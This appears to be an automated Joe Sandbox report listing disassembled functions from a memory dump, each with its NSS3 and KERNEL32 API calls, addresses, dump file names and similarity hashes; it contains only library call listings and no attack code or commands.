Function 6CCBCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CCBDAE2,?), ref: 6CCBC6C2

PR_Now.NSS3 ref: 6CCBCD35

Part of subcall function 6CD19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DC6
Part of subcall function 6CD19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DD1
Part of subcall function 6CD19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD19DED

Part of subcall function 6CCA6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC51C6F,00000000,00000004,?,?), ref: 6CCA6C3F

PR_GetCurrentThread.NSS3 ref: 6CCBCD54

Part of subcall function 6CD19BF0: TlsGetValue.KERNEL32(?,?,?,6CD60A75), ref: 6CD19C07

Part of subcall function 6CCA7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC51CCC,00000000,00000000,?,?), ref: 6CCA729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCBCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CCBCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CCBCE2C

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CCBCE40

Part of subcall function 6CCB14C0: TlsGetValue.KERNEL32 ref: 6CCB14E0
Part of subcall function 6CCB14C0: EnterCriticalSection.KERNEL32 ref: 6CCB14F5
Part of subcall function 6CCB14C0: PR_Unlock.NSS3 ref: 6CCB150D

Part of subcall function 6CCBCEE0: PORT_ArenaMark_Util.NSS3(?,6CCBCD93,?), ref: 6CCBCEEE
Part of subcall function 6CCBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CCBCD93,?), ref: 6CCBCEFC
Part of subcall function 6CCBCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CCBCD93,?), ref: 6CCBCF0B
Part of subcall function 6CCBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CCBCD93,?), ref: 6CCBCF1D

Part of subcall function 6CCBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CCBCD93,?), ref: 6CCBCF47
Part of subcall function 6CCBCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CCBCD93,?), ref: 6CCBCF67
Part of subcall function 6CCBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CCBCD93,?,?,?,?,?,?,?,?,?,?,?,6CCBCD93,?), ref: 6CCBCF78

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: f6f6d70745414fbd1612f2a5b6152aa05cf4ddb22fb10e40dfc1f9c0bfca4ad0
Instruction ID: 6f078eca2f935597c25b9378935f111505535dcaa11016f4f3820eba9d8c66d0
Opcode Fuzzy Hash: f6f6d70745414fbd1612f2a5b6152aa05cf4ddb22fb10e40dfc1f9c0bfca4ad0
Instruction Fuzzy Hash: C25182B6A001059FEB10DFA9DC41BAA77E4EF48348F250524E955BBB50FB31E905CB91

Function 6CCB8BA0 Relevance: 9.2, APIs: 6, Instructions: 150memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3 ref: 6CCB8BCD

Part of subcall function 6CCB14C0: TlsGetValue.KERNEL32 ref: 6CCB14E0
Part of subcall function 6CCB14C0: EnterCriticalSection.KERNEL32 ref: 6CCB14F5
Part of subcall function 6CCB14C0: PR_Unlock.NSS3 ref: 6CCB150D

PORT_ArenaGrow_Util.NSS3(?,?,?), ref: 6CCB8BF9

Part of subcall function 6CCB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CCB136A
Part of subcall function 6CCB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CCB137E
Part of subcall function 6CCB1340: PL_ArenaGrow.NSS3(?,6CC4F599,?,00000000,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?), ref: 6CCB13CF
Part of subcall function 6CCB1340: PR_Unlock.NSS3(?,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CCB145C

PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CCB8C38
PORT_ArenaAlloc_Util.NSS3(?,00000050), ref: 6CCB8C59
PR_GetCurrentThread.NSS3 ref: 6CCB8D33
PR_GetCurrentThread.NSS3 ref: 6CCB8D59

Part of subcall function 6CD19BF0: TlsGetValue.KERNEL32(?,?,?,6CD60A75), ref: 6CD19C07

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalCurrentEnterSectionThreadUnlock$GrowGrow_Mark_
String ID:
API String ID: 3225201373-0
Opcode ID: 6b00fc58d9bc9754397794609fb82d1cb36b722dbdfc7a7728a02cb04b85f490
Instruction ID: 40138e59000429ca0cf88e3884787807b25c29cfcc6d6ba7225cc8e899bff56d
Opcode Fuzzy Hash: 6b00fc58d9bc9754397794609fb82d1cb36b722dbdfc7a7728a02cb04b85f490
Instruction Fuzzy Hash: 5F6138B4A016029FDB04CF69D580F517BE0FF58308F1582AAE9089FB62EB71E955CF90

Function 6CCB6A70 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

DER_GetInteger_Util.NSS3(?), ref: 6CCB6ABF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Integer_Util
String ID:
API String ID: 2649942920-0
Opcode ID: b91d9007e718c87afcf2acdb43caf14a16c0dde0087e7a28802c2988b92ce09a
Instruction ID: aa62faa3592bd222d6ce7e59cc93dc3c46598c5e1e6501dcdf3d045b26696dac
Opcode Fuzzy Hash: b91d9007e718c87afcf2acdb43caf14a16c0dde0087e7a28802c2988b92ce09a
Instruction Fuzzy Hash: B25116B0901B058FEB288FA5D841B977BE4FB08318F10492DE9AED7B51E731E445CB95

Function 6CC8EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CC8EF38

Part of subcall function 6CC79520: PK11_IsLoggedIn.NSS3(00000000,?,6CCA379E,?,00000001,?), ref: 6CC79542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC8EF53

Part of subcall function 6CC94C20: TlsGetValue.KERNEL32 ref: 6CC94C4C
Part of subcall function 6CC94C20: EnterCriticalSection.KERNEL32(?), ref: 6CC94C60
Part of subcall function 6CC94C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94CA1
Part of subcall function 6CC94C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC94CBE
Part of subcall function 6CC94C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94CD2
Part of subcall function 6CC94C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC94D3A

PR_GetCurrentThread.NSS3 ref: 6CC8EF9E

Part of subcall function 6CD19BF0: TlsGetValue.KERNEL32(?,?,?,6CD60A75), ref: 6CD19C07

free.MOZGLUE(00000000), ref: 6CC8EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC8F016
free.MOZGLUE(00000000), ref: 6CC8F022

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 068213e808223c6cc315a735a899f39e434cdc66002aa24623e9c19e779c7049
Instruction ID: 667fccaf3f5f4747e9e318f9f60952466110e4c65b82ef387eb4cdfb51c656e6
Opcode Fuzzy Hash: 068213e808223c6cc315a735a899f39e434cdc66002aa24623e9c19e779c7049
Instruction Fuzzy Hash: C44180B1E01209AFDF018FA9DC85BEF7AB9AF48358F104029F914A7350F772C9158BA1

Function 6CC64860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC64894

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC648CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC648DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CC648FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC64912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC6494A

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 7ab1ce175c4d1f30049126a52474861f0062670bb9a0edbf373dc6b1a2c55f46
Instruction ID: c777a6a08df388c25ac2697596883f16d28658e4c0aca9c44156d5ee10257609
Opcode Fuzzy Hash: 7ab1ce175c4d1f30049126a52474861f0062670bb9a0edbf373dc6b1a2c55f46
Instruction Fuzzy Hash: A74194716043055BE704CBABD9E4BAB73E8AF48318F14052CEA55D7B41F770D945C752

Function 6CCE8AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6CCD6F38), ref: 6CCE8B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6CCE8B58
NSS_OptionGet.NSS3(00000009,?), ref: 6CCE8B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6CCD6F38), ref: 6CCE8BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6CCE8C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6CCE8C1A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: c3ebebcd4c235d28eedf04c13fd0b0d1f90e18311779294feee7ed6d85b414e7
Instruction ID: b5af692d92361eebfb81fa50a33dafcb9fefeaaf3c5116bffcf89b53811d30c9
Opcode Fuzzy Hash: c3ebebcd4c235d28eedf04c13fd0b0d1f90e18311779294feee7ed6d85b414e7
Instruction Fuzzy Hash: 4341F8E1B0110597EF00A79EDDA0BAE36B9DB4B348F844426CA49D7EC0F324A6458796

Function 6CC7CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CC7CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CC7D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CC7D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC7D025
PR_NewLock.NSS3 ref: 6CC7D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC7D074

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 3a0e1a30556085357b57c88bcaf3762de1c887d46ea9b5c15c132f1a010ad87d
Instruction ID: 13bc7ac6d501402bffa0b2abe04696d9a829d6ee90a24bfc936ad84467b50699
Opcode Fuzzy Hash: 3a0e1a30556085357b57c88bcaf3762de1c887d46ea9b5c15c132f1a010ad87d
Instruction Fuzzy Hash: C741A2B0A013118FDB20DF29C88879A7BE4EF08358F11516ADC198BB56F774D886CBB1

Function 6CCB8810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6CCB86AA), ref: 6CCB8851

Part of subcall function 6CCB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CCB136A
Part of subcall function 6CCB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CCB137E
Part of subcall function 6CCB1340: PL_ArenaGrow.NSS3(?,6CC4F599,?,00000000,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?), ref: 6CCB13CF
Part of subcall function 6CCB1340: PR_Unlock.NSS3(?,?,6CC5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CC4F599,?,00000000), ref: 6CCB145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6CCB86AA), ref: 6CCB886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6CCB8890
PR_GetCurrentThread.NSS3 ref: 6CCB891C
PR_GetCurrentThread.NSS3 ref: 6CCB8937

Part of subcall function 6CD19BF0: TlsGetValue.KERNEL32(?,?,?,6CD60A75), ref: 6CD19C07

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 0f40fc2e8276280253fde3ce820e8efff82e5ac56963ada31a38f5ea3e2517c2
Instruction ID: 9c7e9500de5eeee9390655d7a909c1abc6996d1825c270faea6cdfe892d094c6
Opcode Fuzzy Hash: 0f40fc2e8276280253fde3ce820e8efff82e5ac56963ada31a38f5ea3e2517c2
Instruction Fuzzy Hash: AA4187B0A016039FEB04CF69D890F61B7A4FF45318F144269D8189B765FB72E964CB91

Function 6CCC8890 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000004,?), ref: 6CCC88C0
PK11_HashBuf.NSS3(00000003,?,?,?), ref: 6CCC88E0
NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CCC8915
HASH_ResultLenByOidTag.NSS3(00000000), ref: 6CCC8928
PK11_HashBuf.NSS3(00000000,?,?,?), ref: 6CCC8957
PK11_HashBuf.NSS3(00000004,?,?,?), ref: 6CCC8980

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: HashK11_$AlgorithmPolicy$Result
String ID:
API String ID: 2238172455-0
Opcode ID: 6d842cfd85a44d08977fef1a684313d860672de21a842ca3ea8e84f557ef4295
Instruction ID: 3d2ebed39c66399c450c500e1be7db6789459a8dfa88ae9f3a9f3e679af59542
Opcode Fuzzy Hash: 6d842cfd85a44d08977fef1a684313d860672de21a842ca3ea8e84f557ef4295
Instruction Fuzzy Hash: 7C31A8B2A04155ABFB009EA5DD40FABB358AB06318F144176EE18A7A81F7319A1483E3

Function 6CC62E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CC52D1A), ref: 6CC62E7E

Part of subcall function 6CCB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC58298,?,?,?,6CC4FCE5,?), ref: 6CCB07BF
Part of subcall function 6CCB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CCB07E6
Part of subcall function 6CCB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB081B
Part of subcall function 6CCB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB0825

PR_Now.NSS3 ref: 6CC62EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CC62EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CC52D1A), ref: 6CC62F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CC52D1A), ref: 6CC62F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CC62F81

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 795896346fd06bdc4a75cf1840bf77f6ff651bca41dcd855ccdc6559eda936b9
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 8B3143705011108BE710C657CEE8BAEB2A5EF80358F640A7AC429A7ED0FB31988AC712

Function 6CC76B70 Relevance: 9.1, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CC76BA9

Part of subcall function 6CC79520: PK11_IsLoggedIn.NSS3(00000000,?,6CCA379E,?,00000001,?), ref: 6CC79542

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CC76BC0
PORT_ArenaAlloc_Util.NSS3(00000000,0000001C,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CC76BD7
PK11_HasAttributeSet.NSS3(?,?,00000002,00000000,?,?,?,?,00000007,?,00000000), ref: 6CC76B97

Part of subcall function 6CC91870: TlsGetValue.KERNEL32 ref: 6CC918A6
Part of subcall function 6CC91870: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CC76C34,?,?,00000001,00000000,00000007,?), ref: 6CC918B6
Part of subcall function 6CC91870: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC76C34,?,?), ref: 6CC918E1
Part of subcall function 6CC91870: PR_SetError.NSS3(00000000,00000000), ref: 6CC918F9

PK11_HasAttributeSet.NSS3(?,?,00000001,00000000,00000007,?,00000000), ref: 6CC76C2F
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CC76C61

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$Util$Arena_Attribute$Alloc_ArenaAuthenticateCriticalEnterErrorFreeLoggedSectionUnlockValue
String ID:
API String ID: 2313852964-0
Opcode ID: 46b4892abc8154e3111720fd3f4831f051cb27f0abfdf92b45c991bcbdce1544
Instruction ID: 2d568d27147b0315b36c9f01626697f5f1ac66d86a130f0361ded79ce37113f7
Opcode Fuzzy Hash: 46b4892abc8154e3111720fd3f4831f051cb27f0abfdf92b45c991bcbdce1544
Instruction Fuzzy Hash: 3931F5B1A003029BEB248F59DC81FAA7768EF46758F050069ED08AB782F771DC5186F5

Function 6CC50E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CC50A2C), ref: 6CC50E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CC50A2C), ref: 6CC50E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CC50A2C), ref: 6CC50E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CC50A2C), ref: 6CC50E90
